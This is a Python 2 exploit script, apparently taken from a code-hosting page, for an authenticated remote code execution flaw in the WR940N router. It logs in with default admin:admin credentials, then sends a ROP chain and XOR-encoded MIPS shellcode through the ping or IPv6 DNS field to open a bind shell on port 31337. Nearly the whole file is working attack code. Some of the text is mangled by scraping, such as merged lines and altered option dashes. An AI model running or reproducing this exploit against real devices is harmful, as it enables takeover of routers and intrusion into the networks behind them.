169 lines
No EOL
7 KiB
Python
Executable file
169 lines
No EOL
7 KiB
Python
Executable file
import urllib2
|
||
import base64
|
||
import hashlib
|
||
from optparse import *
|
||
import sys
|
||
import urllibbanner = (
|
||
"___________________________________________________________________________\n"
|
||
"WR940N Authenticated Remote Code Exploit\n"
|
||
"This exploit will open a bind shell on the remote target\n"
|
||
"The port is 31337, you can change that in the code if you wish\n"
|
||
"This exploit requires authentication, if you know the creds, then\n"
|
||
"use the -u -p options, otherwise default is admin:admin\n"
|
||
"___________________________________________________________________________"
|
||
)
|
||
|
||
def login(ip, user, pwd):
|
||
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
|
||
|
||
#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
|
||
hash = hashlib.md5()
|
||
hash.update(pwd)
|
||
auth_string = "%s:%s" %(user, hash.hexdigest())
|
||
encoded_string = base64.b64encode(auth_string)
|
||
print "[+] Encoded authorisation: %s" %encoded_string
|
||
|
||
#### Send the request
|
||
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
|
||
print "[+] sending login to " + url
|
||
req = urllib2.Request(url)
|
||
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
|
||
resp = urllib2.urlopen(req)
|
||
|
||
#### The server generates a random path for further requests, grab that here
|
||
data = resp.read()
|
||
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
|
||
print "[+] Got random path for next stage, url is now %s" %next_url
|
||
|
||
return (next_url, encoded_string)
|
||
|
||
#custom bind shell shellcode with very simple xor encoder
|
||
#followed by a sleep syscall to flush cash before running
|
||
#bad chars = 0x20, 0x00
|
||
shellcode = (
|
||
#encoder
|
||
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
|
||
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
|
||
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
|
||
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
|
||
"\x02\x2a\x18\x26\xae\x43\xff\xc1"
|
||
|
||
#sleep
|
||
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
|
||
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
|
||
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"
|
||
|
||
################ encoded shellcode ###############
|
||
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
|
||
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
|
||
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
|
||
"\x7a\x69" #<————————- PORT 0x7a69 (31337)
|
||
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
|
||
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
|
||
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
|
||
"\x01\x0c\x24\x0f\x73\x50"
|
||
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
|
||
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
|
||
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
|
||
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
|
||
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
|
||
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
|
||
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
|
||
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
|
||
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
|
||
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
|
||
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
|
||
)
|
||
|
||
###### useful gadgets #######
|
||
nop = "\x22\x51\x44\x44"
|
||
gadg_1 = "\x2A\xB3\x7C\x60"
|
||
gadg_2 = "\x2A\xB1\x78\x40"
|
||
sleep_addr = "\x2a\xb3\x50\x90"
|
||
stack_gadg = "\x2A\xAF\x84\xC0"
|
||
call_code = "\x2A\xB2\xDC\xF0"
|
||
|
||
def first_exploit(url, auth):
|
||
# trash $s1 $ra
|
||
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
|
||
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
|
||
|
||
params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
|
||
|
||
new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
|
||
|
||
print "[+] sending exploit..."
|
||
print "[+] Wait a couple of seconds before connecting"
|
||
print "[+] When you are finished do http -r to reset the http service"
|
||
|
||
req = urllib2.Request(new_url)
|
||
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
|
||
req.add_header('Referer', url + "DiagnosticRpm.htm")
|
||
|
||
resp = urllib2.urlopen(req)
|
||
|
||
def second_exploit(url, auth):
|
||
url = url + "WanStaticIpV6CfgRpm.htm?"
|
||
# trash s0 s1 s2 s3 s4 ret shellcode
|
||
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
|
||
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
|
||
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
|
||
print len(payload)
|
||
|
||
params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
|
||
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
|
||
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
|
||
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
|
||
|
||
new_url = url + urllib.urlencode(params)
|
||
|
||
print "[+] sending exploit…"
|
||
print "[+] Wait a couple of seconds before connecting"
|
||
print "[+] When you are finished do http -r to reset the http service"
|
||
|
||
req = urllib2.Request(new_url)
|
||
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
|
||
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
|
||
|
||
resp = urllib2.urlopen(req)
|
||
|
||
if __name__ == '__main__':
|
||
print banner
|
||
username = "admin"
|
||
password = "admin"
|
||
|
||
parser = OptionParser()
|
||
parser.add_option("-t", "–target", dest="host",
|
||
help="target ip address")
|
||
|
||
parser.add_option("-u", "–user", dest="username",
|
||
help="username for authentication",
|
||
default="admin")
|
||
|
||
parser.add_option("-p", "–password", dest="password",
|
||
help="password for authentication",
|
||
default="admin")
|
||
|
||
(options, args) = parser.parse_args()
|
||
|
||
if options.host is None:
|
||
parser.error("[x] A host name is required at the minimum [x]")
|
||
|
||
if options.username is not None:
|
||
username = options.username
|
||
if options.password is not None:
|
||
password = options.password
|
||
|
||
(next_url, encoded_string) = login(options.host, username, password)
|
||
|
||
###### Both exploits result in the same bind shell ######
|
||
#first_exploit(data[0], data[1])
|
||
second_exploit(next_url, encoded_string). |